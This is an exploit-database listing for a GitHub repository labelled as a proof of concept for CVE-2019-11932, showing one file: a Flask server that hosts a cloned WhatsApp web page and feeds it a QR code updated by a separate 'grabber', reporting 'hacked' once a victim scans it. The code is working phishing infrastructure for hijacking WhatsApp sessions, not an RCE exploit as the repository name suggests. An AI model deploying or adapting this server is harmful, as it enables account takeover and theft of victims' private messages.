Exploit database

GH-28536a81a901393c55ed29a417a73d35

kal1gh0st/whatsapphack-rce

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2019-11932

19 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files7
kal1gh0st/whatsapphack-rceRevision 8017fae3af54

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

whatsapp_hack/server.py

Python · 1,238 bytes
import base64
import os

from flask import Flask, request, render_template, send_from_directory

app = Flask(__name__)


def get_png_b64():  # here we encode the qr.png image to base64
    with open('qr.png', 'rb') as f:
        png_bytes = f.read()
    png_b64 = base64.encodebytes(png_bytes)
    return png_b64


# just to serve static files, so we don't need to setup a server like nginx
@app.route('/WhatsApp_files/<path:path>')
def send_static(path):
    return send_from_directory('WhatsApp_files', path)


@app.route('/')
def index():
    return render_template("WhatsApp.html")  # here goes the clone website. See WhatsApp_files/qreload.js


@app.route('/get-qr/')
def get_qr():
    """
    Every second the webpage will ask the server the qr code (that gets updated by the grabber)
    :return: qr code encoded in base64 or 'hacked'
    """
    if request.method == 'GET':
        if not os.path.isfile('hacked'):  # if there is no hacked file, the victim still has to scan
            return get_png_b64()
        else:  # else, the victim scanned the qr code. We tell so to the cloned website
            print('hacked')
            return 'hacked'


if __name__ == "__main__":
    app.run(debug=True, host='0.0.0.0', port=80)